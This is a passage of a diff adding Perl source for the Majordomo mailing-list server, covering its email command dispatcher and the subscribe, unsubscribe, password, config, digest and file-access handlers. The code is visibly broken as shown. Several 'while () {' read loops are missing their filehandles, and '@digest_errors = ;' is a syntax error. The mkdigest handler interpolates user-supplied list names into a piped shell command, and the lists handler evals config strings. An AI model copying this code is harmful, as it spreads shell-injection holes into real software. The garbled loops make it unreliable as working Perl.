s/\\\s*$/ /; # replace \ with space char + $_ .= scalar(<>); # append the next line + } + print REPLY ">>>> $_"; # echo the line we are processing + $_ = &chop_nl($_); # strip any trailing newline + s/^\s*#.*//; # strip comments + s/^\s+//; # strip leading whitespace + s/\s+$//; # strip trailing whitespace + s/\\ /\001/g; # protected escaped whitepace + if (/^begin\s+\d+\s+\S+$/) { # bail on MSMail uuencode attachments + print REPLY "ATTACHMENT DETECTED; COMMAND PROCESSING TERMINATED.\n"; + last; + } + + @parts = split(" "); # split into component parts + grep(s/\001/ /, @parts); # replace protected whitespace with + # whitespace + $cmd = shift(@parts); # isolate the command + $cmd =~ tr/A-Z/a-z/; # downcase the command + if ($cmd eq "") { next; } # skip blank lines + # figure out what to do and do it + # the "do_*" routines implement specific Majordomo commands. + # they are all passed the same arguments: @parts. + $count++; # assume it's a valid command, so count it. + if ($cmd eq "end") { print REPLY "END OF COMMANDS\n"; last; } + elsif ($cmd =~ /^-/ && + (!defined($hdrs{'content-type'}) || + $hdrs{'content-type'} !~ /multipart/i)) + { + # treat lines beginning with "-" as END only if this is NOT a MIME + # multipart msg. MIME messages should have "Content-Type:" + # headers, and multipart messages should have the string + # "multipart" somewhere in that header. If we just look for + # Content-Type: we trap messages with Content-Type: text/plain, + # which is pretty common these days. + print REPLY "END OF COMMANDS\n"; + last; + } + elsif ($cmd eq "subscribe") { &do_subscribe(@parts); } + elsif ($cmd eq "unsubscribe") { &do_unsubscribe(@parts); } + elsif ($cmd eq "signoff") { &do_unsubscribe(@parts); } + elsif ($cmd eq "cancel") { &do_unsubscribe(@parts); } + elsif ($cmd eq "approve") { &do_approve(@parts); } + elsif ($cmd eq "passwd") { &do_passwd(@parts); } + elsif ($cmd eq "which") { &do_which(@parts); } + elsif ($cmd eq "who") { &do_who(@parts); } + elsif ($cmd eq "info") { &do_info(@parts); } + elsif ($cmd eq "newinfo") { &do_newinfo(@parts); } + elsif ($cmd eq "intro") { &do_intro(@parts); } + elsif ($cmd eq "newintro") { &do_newintro(@parts); } + elsif ($cmd eq "config") { &do_config(@parts); } + elsif ($cmd eq "newconfig") { &do_newconfig(@parts); } + elsif ($cmd eq "writeconfig") { &do_writeconfig(@parts); } + elsif ($cmd eq "mkdigest") { &do_mkdigest(@parts); } + elsif ($cmd eq "lists") { &do_lists(@parts); } + elsif ($cmd eq "help") { &do_help(@parts); } + elsif ($cmd eq "get") { &do_get(@parts); } + elsif ($cmd eq "index") { &do_index(@parts); } + elsif ($cmd eq "auth") { &do_auth(@parts); } + else { + &squawk("Command '$cmd' not recognized."); + $count--; # if we get to here, it wasn't really a command + } +} + +# we've processed all the commands; let's clean up and go home +&done(); + +# Everything from here on down is subroutine definitions + +sub do_subscribe { + # figure out what list we are trying to subscribe to + # and check to see if the list is valid + local($sm) = "subscribe"; + local($list, $clean_list, @args) = &get_listname($sm, 1, @_); + + # figure out who's trying to subscribe, and check that it's a valid address + local($subscriber) = join(" ", @args); + if ($subscriber eq "") { + $subscriber = $reply_to; + } + if (! &valid_addr($subscriber, $clean_list)) { + &squawk("$sm: invalid address '$subscriber'"); + return 0; + } + + local($FLAGIT); + if ($clean_list ne "") { + # The list is valid + # parse its config file if needed + + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($sub_policy) = $config_opts{$clean_list,"subscribe_policy"}; + + # check to see if this is a list with a 'confirm' subscribe policy, + # and check the cookie if so. + # + if (! $approved + && (($sub_policy =~ /confirm/) + && (&gen_cookie($sm, $clean_list, $subscriber) ne $auth_info))) + { + # We want to send the stripped address in the confirmation + # message if strip = yes. + if (&cf_ck_bool($clean_list,"strip")) { + $subscriber = (&ParseAddrs($subscriber))[0]; + } + &send_confirm("subscribe", $clean_list, $subscriber); + return 0; + } + + + # Check to see if this request is approved, or if the list is an + # auto-approve list, or if the list is an open list and the + # subscriber is the person making the request + if ($approved + || ($sub_policy =~ /auto/i && + # I don't think this check is doing the right thing. Chan 95/10/19 + &check_and_request($sm, $clean_list, $subscriber, "check_only")) + || (($sub_policy !~ /closed/ ) + && &addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) + ) { + # Either the request is approved, or the list is open and the + # subscriber is the requester, so check to see if they're + # already on the list, and if not, add them to the list. + # Lock and open the list first, even though &is_list_member() + # will reopen it read-only, to prevent a race condition + &lopen(LIST, ">>", "$listdir/$clean_list") + || &abort("Can't append to $listdir/$clean_list: $!"); + if (&is_list_member($subscriber, $listdir, $clean_list)) { + print REPLY "**** Address already subscribed to $clean_list\n"; + &log("DUPLICATE subscribe $clean_list $subscriber"); + } else { + if ( &cf_ck_bool($clean_list,"strip") ) { + print LIST &valid_addr($subscriber), "\n" || + &abort("Error writing $listdir/$clean_list: $!"); + } else { + print LIST $subscriber, "\n" || + &abort("Error writing $listdir/$clean_list: $!"); + } + if (defined $deflist) { + print REPLY "Succeeded (to list $deflist).\n"; + } + else { + print REPLY "Succeeded.\n"; + } + &log("subscribe $clean_list $subscriber"); + # Send the new subscriber a welcoming message, and + # a notice of the new subscriber to the list owner + if ( &cf_ck_bool($clean_list,"strip") ) { + local($clean_sub) = &valid_addr($subscriber); + &welcome($clean_list, $clean_sub); + } else { + &welcome($clean_list, $subscriber); + } + } + &lclose(LIST) || &abort("Error closing $listdir/$clean_list: $!"); + } else { + &check_and_request($sm, $clean_list, $subscriber); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_unsubscribe_all { + local(@parts) = @_; + local($list); + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = grep(!/[^-\w]/, readdir(RD_DIR)); # skip non-list files (*.info, etc.) + closedir(RD_DIR); + + $quietnonmember=1; + + foreach $list (sort @lists) { + print REPLY "Doing 'unsubscribe $list ", join(' ', @parts), "'.\n" + if $DEBUG; + &do_unsubscribe($list, @parts); + } +} + +sub do_unsubscribe { + if ($_[0] =~ /^\*$/) { + shift; + &do_unsubscribe_all(@_); + return 0; + } + local($match_count) = 0; + local($match_length); + # figure out what list we are trying to unsubscribe from + # and check to see if the list is valid + local($sm) = "unsubscribe"; + local($list, $clean_list, @args) = &get_listname($sm, 1, @_); + + # figure out who's trying to unsubscribe, and check it's a valid address + local($subscriber) = join(" ", @args); + if ($subscriber eq "") { + $subscriber = $reply_to; + } + if (! &valid_addr($subscriber)) { + &squawk("$sm: invalid address '$subscriber'"); + return 0; + } + + print STDERR "do_unsubscribe: $subscriber from $clean_list\n" if $DEBUG; + + + if ($clean_list ne "") { + # The list is valid. + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($unsub_policy) = $config_opts{$clean_list,"unsubscribe_policy"}; + + # Check to see if the subscriber really is subscribed to the list. + if (! &is_list_member($subscriber, $listdir, $clean_list)) { + unless ($quietnonmember) { + print REPLY <<"EOM"; +**** unsubscribe: '$subscriber' is not a member of list '$list'. +**** contact "$list-approval\@$whereami" if you need help. +EOM + } + return 0; + } + + print STDERR "do_unsubscribe: valid list, valid subscriber.\n" + if $DEBUG; + + # check to see if this is a list with a 'confirm' unsubscribe policy, + # and check the cookie if so and the subscriber is not the person + # making the request. + # + if (! $approved + && ! ((&addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") + ? 2 : undef)))) + && (($unsub_policy =~ /confirm/) + && (&gen_cookie($sm, $clean_list, $subscriber) ne $auth_info))) + { + # We want to send the stripped address in the confirmation + # message if strip = yes. + if (&cf_ck_bool($clean_list,"strip")) { + $subscriber = (&ParseAddrs($subscriber))[0]; + } + &send_confirm("unsubscribe", $clean_list, $subscriber); + return 0; + } + + # Check to see if this request is approved, if the unsub policy is + # auto, or if the subscriber is the person making the request (even + # on a closed list, folks can unsubscribe themselves without the + # owner's approval). + if ($approved + || ($unsub_policy =~ /auto/i && + &check_and_request($sm, $clean_list, $subscriber, "check_only")) + + || ((&addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))))) { + + # Either the request is approved, or the subscriber is the + # requester, so drop them from the list + &lopen(LIST, "", "$listdir/$clean_list") || + &abort("Can't open $listdir/$clean_list: $!"); + (local($mode, $uid, $gid) = (stat(LIST))[2,4,5]) || + &abort("Can't stat listdir/$clean_list: $!"); + open(NEW, ">$listdir/$clean_list.new") || + &abort("Can't open $listdir/$clean_list.new: $!"); + chmod($mode, "$listdir/$clean_list.new") || + &abort("chmod($mode, \"$listdir/$clean_list.new\"): $!"); + chown($uid, $gid, "$listdir/$clean_list.new") || + &abort("chown($uid, $gid, \"$listdir/$clean_list.new\"): $!"); + while () { + if (! &addr_match($subscriber, $_, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) { + print NEW $_ || + &abort("Error writing $listdir/$clean_list.new: $!"); + } else { + $match_count++; + $match_length = length; + if ($match_count != 1) { + &squawk("$sm: '$subscriber' matches multiple list members."); + last; + } + } + } + close(NEW) || &abort("Error closing $listdir/$clean_list.new: $!"); + if ($match_count == 1) { + if ((-s "$listdir/$clean_list.new") + $match_length != + (-s "$listdir/$clean_list")) { + &abort("Unsubscribe failed: $listdir/$clean_list.new is wrong length!"); + } + # we deleted exactly 1 name, so now we shuffle the files + link("$listdir/$clean_list", "$listdir/$clean_list.old") || + &abort("link(\"$listdir/$clean_list\", \"$listdir/$clean_list.old\"): $!"); + rename("$listdir/$clean_list.new", "$listdir/$clean_list") || + &abort("rename(\"$listdir/$clean_list.new\", \"$listdir/$clean_list\"): $!"); + unlink("$listdir/$clean_list.old"); + if (defined $deflist) { + print REPLY "Succeeded (from list $deflist).\n"; + } + elsif ($quietnonmember) { + print REPLY "Succeeded (from list $clean_list).\n"; + } + else { + print REPLY "Succeeded.\n"; + } + &log("unsubscribe $clean_list $subscriber"); + if ( &cf_ck_bool($list,"announcements")) { + &sendmail(BYE, "$clean_list-approval\@$whereami", + "UNSUBSCRIBE $clean_list $subscriber"); + print BYE "$subscriber has unsubscribed from $clean_list.\n"; + print BYE "No action is required on your part.\n"; + close(BYE); + } + } + elsif ($match_count == 0) { + print REPLY "**** No matches found for '$subscriber'\n"; + } + else { + print REPLY "**** FAILED.\n"; + } + unlink("$listdir/$clean_list.new"); + &lclose(LIST); + } else { + print STDERR "do_unsubscribe: authorization failed, calling check_and_request.\n" if $DEBUG; + &check_and_request($sm, $clean_list, $subscriber); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_auth { + # Check to see we've got all the arguments; the address is allowed to + # contain spaces, so since our argument list was split on spaces we + # have to join them back together. + local($auth_info, $cmd, $list, @sub) = @_; + if ( !length($auth_info) + || ($cmd ne 'subscribe' + && $cmd ne 'unsubscribe') # can only authorize [un]subscribes at the moment + ) { + &squawk("auth: needs key"); + return 0; + } + $sub = join(' ',@sub); + if ( $cmd eq "subscribe" ) { + &do_subscribe($list, $sub); + } + elsif ( $cmd eq "unsubscribe" ) { + &do_unsubscribe($list, $sub); + } + + +} + +sub do_approve { + # Check to see we've got all the arguments + local($sm) = "approve"; + local($passwd, $cmd); + ($passwd = shift) || &squawk("$sm: needs passwd"); + ($cmd = shift) || &squawk("$sm: which command?"); + $cmd =~ tr/A-Z/a-z/; # downcase the command + # Check to see if the list is valid or use default list. + # and check to see if we've got a valid list + local($list, $clean_list, @args) = &get_listname($sm, -1, @_); + + if ($clean_list ne "") { + # get the config info for the command + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + # The list is valid; now check to see if the password is + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so set "approved" and do the request + $approved = 1; + if ($cmd eq "subscribe") { + local($subscriber); + ($subscriber = join(" ",@args)) || &squawk("$sm: who?"); + &log("approve PASSWORD subscribe $clean_list $subscriber"); + &do_subscribe($clean_list, $subscriber); + } elsif ($cmd eq "unsubscribe") { + local($subscriber); + ($subscriber = join(" ",@args)) || &squawk("$sm: who?"); + &log("approve PASSWORD unsubscribe $clean_list $subscriber"); + &do_unsubscribe($clean_list, $subscriber); + } elsif ($cmd eq "get" + || $cmd eq "index" + || $cmd eq "info" + || $cmd eq "intro" + || $cmd eq "who" + || $cmd eq "which") { + &log("approve PASSWORD $cmd $clean_list " . join(" ", @args)); + $sub = "do_$cmd"; + &$sub($clean_list, @args); + } else { + # you can only approve the above + &squawk("$sm: invalid command '$cmd'"); + } + } else { + &squawk("$sm: invalid list or password."); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_passwd { + # check to see that we've got all the arguments + # and check to see if we've got a valid list + local($sm) = "passwd"; + local($list, $clean_list, $passwd, $new_passwd) = &get_listname($sm, 2, @_); + &squawk("$sm: need old password") unless $passwd; + &squawk("$sm: need new password") unless $new_passwd; + + if ($clean_list eq "") { + &squawk("$sm: invalid list '$list'"); + return; + } + # We've got a valid list; now see if the old password is valid + # get the config info for the command + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The old password is correct, so make sure the new one isn't null + if ($new_passwd eq "") { + &squawk("$sm: null 'new_passwd'."); + return; + } + # The new password is valid, too, so write it. + local($mode, $uid, $gid) = + (stat("$listdir/$clean_list.passwd"))[2,4,5]; + $mode = (0660) if !$mode; + if (&lopen(PASSWD, ">", "$listdir/$clean_list.passwd")) { + print PASSWD $new_passwd, "\n"; + &lclose(PASSWD); + # set the file mode appropriately + chmod($mode, "$listdir/$clean_list.passwd"); + chown($uid, $gid, "$listdir/$clean_list.passwd") if defined($uid); + print REPLY "Password changed.\n"; + } else { + &abort("Can't open $listdir/$clean_list.passwd: $!"); + } + &log("passwd $clean_list OLD NEW"); + } else { + print REPLY "**** Sorry; old password incorrect.\n"; + &log("FAILED passwd $clean_list OLD NEW"); + } +} + +sub do_which { + local($subscriber) = join(" ", @_) || &valid_addr($reply_to); + local($count, $per_list_hits) = 0; + # Tell the requestor which lists they are on by reading through all + # the lists, comparing their address to each address from each list + print REPLY "The string '$subscriber' appears in the following\n"; + print REPLY "entries in lists served by $whoami:\n\n"; + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = readdir(RD_DIR); + closedir(RD_DIR); + + foreach (sort @lists) { + /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) + $list = $_; + + # get configuration info + &get_config($listdir, $_) if !&cf_ck_bool($_, '', 1); + + # access check + # + next if ! &access_check("which", $reply_to, $listdir, $list); + + open(LIST, "$listdir/$list") || + &abort("Can't open list $listdir/$list"); + while () { + + if (! $approved + && $max_which_hits + && $max_which_hits < $per_list_hits) { + print REPLY "Maximum number of hits ($max_which_hits) exceeded\n"; + last; + } + + $_ = &chop_nl($_); + if (&addr_match($_, $subscriber, 1)) { + if ($count == 0) { + printf REPLY "%-23s %s\n", "List", "Address"; + printf REPLY "%-23s %s\n", "====", "======="; + } + printf REPLY "%-23s %s\n", $list, $_; + $count++; + $per_list_hits++; + } + } + close(LIST); + } + if ($count == 0) { + print REPLY "**** No matches found\n"; + } + print REPLY "\n"; + &log("which $subscriber"); + return 1; +} + +sub do_who { + # Make sure we've got the right arguments + # and check to see if we've got a valid list + local($sm) = "who"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + local($counter) = 0; + + # Check to see that the list is valid + if ($clean_list ne "") { + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if ( !$approved + && $config_opts{$clean_list, 'who_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("who", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do a 'who'.\n"; + print REPLY "**** You [ $reply_to ] aren't a member of list '$clean_list'.\n"; + return 0; + } + #open it up and tell who's on it + print REPLY "Members of list '$clean_list':\n\n"; + if (&lopen(LIST, "", "$listdir/$clean_list")) { + while () { + print REPLY $_; + $counter++; + } + &lclose(LIST); + printf REPLY "\n%s subscriber%s\n\n", ($counter ? $counter : "No"), + ($counter == 1 ? "" : "s"); + &log("who $clean_list"); + } else { + &abort("Can't open $listdir/$clean_list: $!"); + } + } else { + print REPLY "**** who: no such list '$list'\n"; + } +} + +sub do_info { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "info"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + # The list is OK, so give the info, or a message that none is available + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($allow); + + # check access + $allow = &access_check("info", $reply_to, $listdir, $clean_list); + + if ((local($passwd) = shift) && + &valid_passwd($listdir, $clean_list, $passwd)) { + $allow = 1; # The password is valid, so show info + } + if ($allow && + &lopen(INFO, "", "$listdir/$clean_list.info")) { + while () { + print REPLY $_; + } + print REPLY "\n[Last updated ", &chop_nl(&ctime((stat(INFO))[9])), + "]\n" if !&cf_ck_bool($clean_list,"date_info"); + &lclose(INFO); + } else { + print REPLY "#### No info available for $clean_list.\n"; + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("info $clean_list"); +} + +sub do_newinfo { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newinfo"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new info + local($mode, $uid, $gid) = + (stat("$listdir/$clean_list.info"))[2,4,5]; + $mode = (0664) if !$mode; + if (&lopen(INFO, ">", "$listdir/$clean_list.info")) { + print INFO "[Last updated on: ", &chop_nl(&ctime(time())), + "]\n" if &cf_ck_bool($clean_list,"date_info"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print INFO $_, "\n"; + } + &lclose(INFO); + if (-s "$listdir/$clean_list.info" > 0) { + chmod($mode, "$listdir/$clean_list.info"); + chown($uid, $gid, "$listdir/$clean_list.info") + if defined($uid); + } + else { + unlink("$listdir/$clean_list.info"); + } + + print REPLY "New info for list $clean_list accepted.\n"; + &log("newinfo $clean_list PASSWORD"); + } else { + &abort("Can't write $listdir/$clean_list.info: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newinfo $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} + +sub do_intro { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "intro"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + # The list is OK, so give the intro, or a message that none is available + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + local($allow) = 0; + + # check access + $allow = &access_check("intro", $reply_to, $listdir, $clean_list); + + if ((local($passwd) = shift) && + &valid_passwd($listdir, $clean_list, $passwd)) { + $allow = 1; # The password is valid, so show info + } + if ($allow && + &lopen(INFO, "", "$listdir/$clean_list.intro")) { + while () { + print REPLY $_; + } + print REPLY "\n[Last updated ", &chop_nl(&ctime((stat(INFO))[9])), + "]\n" if !&cf_ck_bool($clean_list,"date_intro"); + &lclose(INFO); + } else { + print REPLY "#### No intro available for $clean_list.\n"; + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("intro $clean_list"); +} +sub do_newintro { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newintro"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new intro + if (&lopen(INFO, ">", "$listdir/$clean_list.intro")) { + print INFO "[Last updated on: ", &chop_nl(&ctime(time())), + "]\n" if &cf_ck_bool($clean_list,"date_intro"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print INFO $_, "\n"; + } + &lclose(INFO); + if (-s "$listdir/$clean_list.intro" > 0) { + chmod(0664, "$listdir/$clean_list.intro"); + } + else { + unlink("$listdir/$clean_list.intro"); + } + print REPLY "New intro for list $clean_list accepted.\n"; + &log("newintro $clean_list PASSWORD"); + } else { + &abort("Can't write $listdir/$clean_list.intro: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newintro $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} +sub do_config { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "config"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + #so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so send the new config if it exists + + if (open(LCONFIG, "$listdir/$clean_list.config")) { + while () { + print REPLY $_; + } + print REPLY "\n#[Last updated ", + &chop_nl(&ctime((stat(LCONFIG))[9])), "]\n"; + close(LCONFIG) || + print REPLY "Error writing config for $clean_list: $!"; + + } else { + print REPLY "#### No config available for $clean_list.\n"; + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED config $clean_list PASSWORD"); + } + &free_lock("$listdir/$clean_list.config.LOCK"); + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("config $clean_list"); +} + +sub do_newconfig { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newconfig"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + # so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new config + # off to the side to validate it. + local($oldumask) = umask($config_umask); + if (open(NCONFIG, ">$listdir/$clean_list.new.config")) { + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print NCONFIG $_, "\n"; + } + close(NCONFIG) || + &abort("Can't write $listdir/$clean_list.config: $!"); + umask($oldumask); + + if ( &get_config($listdir, "$clean_list.new", "locked")) { + unlink "$listdir/$clean_list.new.config"; + &free_lock("$listdir/$clean_list.config.LOCK"); + print REPLY "The new config file for $clean_list was NOT accepted because:\n"; + print REPLY @config'errors; + &log("FAILED (syntax) newconfig $clean_list PASSWORD"); + return (1); + } + + $rename_fail = 0; + if ( !rename("$listdir/$clean_list.config", + "$listdir/$clean_list.old.config") ) { + print REPLY "rename current -> old failed $!"; + $rename_fail = 1; + } + elsif ( !rename("$listdir/$clean_list.new.config", + "$listdir/$clean_list.config")) { + print REPLY "rename new -> current failed $!"; + $rename_fail = 1; + } + + print REPLY "New config for list $clean_list accepted.\n" + if !$rename_fail; + + &log("newconfig $clean_list PASSWORD"); + &get_config($listdir, $clean_list, "locked"); + } else { + &abort("Can't write $listdir/$clean_list.config: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newconfig $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + &free_lock("$listdir/$clean_list.config.LOCK"); + + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} + +sub do_writeconfig { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "writeconfig"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + # so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write current config + &config'writeconfig($listdir, $clean_list); + print REPLY "wrote new config for list $clean_list.\n"; + &log("writeconfig $clean_list PASSWORD"); + } else { + &squawk("$sm: invalid password."); + &log("FAILED writeconfig $clean_list PASSWORD"); + } + &free_lock("$listdir/$clean_list.config.LOCK"); + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_mkdigest { + # Check to make sure we've got the right arguments + local($list, $clean_list, @args) = &get_listname($sm, -1, @_); + + # We allow the specification of the outgoing alias for the digest so + # that list owners can change it to be something secret, but we have to + # remain backwards compatible, so we allow 2 or 3 args. + local($list_outgoing); + if ($#args == 1) { # Called with 2 or 3 args, one already shifted off + $list_outgoing = shift @args; + } + else { + $list_outgoing = "$list-outgoing"; + } + local($passwd); + ($passwd = shift @args) || &squawk("$sm: needs password"); + local(@digest_errors) = (); + # Check that the list is valid + local($clean_list) = &valid_list($listdir, $list); + if ($clean_list ne "") { + # The list is valid, parse the config file + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + + #so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so run digest + + open(DIGEST, + "$homedir/digest -m -C -l $list $list_outgoing 2>&1 |"); + @digest_errors = ; + close(DIGEST); + + if ( $? == 256 ) { + print REPLY "*** mkdigest: Failure on exec of digest $!\n"; + print REPLY @digest_errors; + &log("FAILED mkdigest $list: exec error"); + } else { + if ($? != 0 ) { # hey the exec worked + print REPLY "*** digest: failed errors follow\n"; + print REPLY @digest_errors; + &log("FAILED mkdigest $list: errors during digest"); + } else { + print REPLY @digest_errors; + &log("mkdigest $clean_list"); + } + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED mkdigest $clean_list PASSWORD"); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_lists { + # Tell the requester what lists we serve + local($list); + local($reply_addr) = &ParseAddrs($reply_to); + + select((select(REPLY), $| = 1)[0]); + + print REPLY "$whoami serves the following lists:\n\n"; + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = readdir(RD_DIR); + closedir(RD_DIR); + + foreach (sort @lists) { + $list = $_; + $list =~ /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) + next if /^(RCS|CVS|core)$/; # files and directories to ignore + next if (-d "$listdir/$list"); # skip directories + + &get_config($listdir, $list) if !&cf_ck_bool($list, '', 1); + + if ( ($'config_opts{$list, 'advertise'} ne '') + || ($'config_opts{$list, 'noadvertise'} ne '') ) { + + local(@array, $i); + local($result) = 0; + local($_) = $reply_addr; + + if ($'config_opts{$list, 'advertise'} ne '') { + @array = split(/\001/,$'config_opts{$list, 'advertise'}); + foreach $i (@array) { + $result = 1, last if (eval $i); # Expects $_ = $reply_addr + } + } else { $result = 1; } + + @array = (); + if ($result) { + @array = split(/\001/,$'config_opts{$list, 'noadvertise'}); + + foreach $i (@array) { + $result = 0, last if (eval $i); # Expects $_ = $reply_addr + } + } + + + $result = &is_list_member($reply_to, $listdir, $list) + if ! $result; + + printf REPLY " %-23s %-.56s\n", $list, + $config_opts{$list, 'description'} if $result; + } else { + printf REPLY " %-23s %-.56s\n", $list, + $config_opts{$list, 'description'}; + } + + } + print REPLY "\nUse the 'info ' command to get more information\n"; + print REPLY "about a specific list.\n"; + &log("lists"); +} + +# Subroutines do_get and do_index handle files for the requestor. +# Majordomo will look for the files in directory "$filedir/$list$filedir_suffix" +# You need to specify a directory in majordomo.cf such as: +# $filedir = "/usr/local/mail/files"; +# $filedir_suffix = ""; +# to have it check directory "/usr/local/mail/files/$list" or +# $filedir = "$listdir"; +# $filedir_suffix = ".archive"; +# to have it check directory "$listdir/$list.archive". +# +# If you want majordomo to do the basic file handling, don't +# set the ftpmail options. Set the index command using: +# $index_command = "/bin/ls -lRL"; +# +# If you want FTPMail to do the file handling, also put in: +# $ftpmail_location = "$whereami" +# $ftpmail_address = "ftpmail@$whereami"; +# or +# $ftpmail_address = "ftpmail@decwrl.dec.com"; +# as appropriate. +# +# Note that "$ftpmail_location" might NOT be the same as "$whereami"; +# for instance, at GreatCircle.COM, "$whereami" is "GreatCircle.COM" (which +# is an MX record) but "$ftpmail_location" needs to be "FTP.GreatCircle.COM" +# (which is an alias for actual machine) + +sub do_get { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "get"; + local($list, $clean_list, $filename) = &get_listname($sm, 1, @_); + &squawk("$sm: which file?") unless $filename; + + if ($clean_list ne "") { + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if ( !$approved + && $config_opts{$clean_list, 'get_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("get", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do a 'get'.\n"; + print REPLY "**** You aren't a member of list '$clean_list'.\n"; + return 0; + } + # The list is OK, so check the file name + local($clean_file) = &valid_filename($filedir, 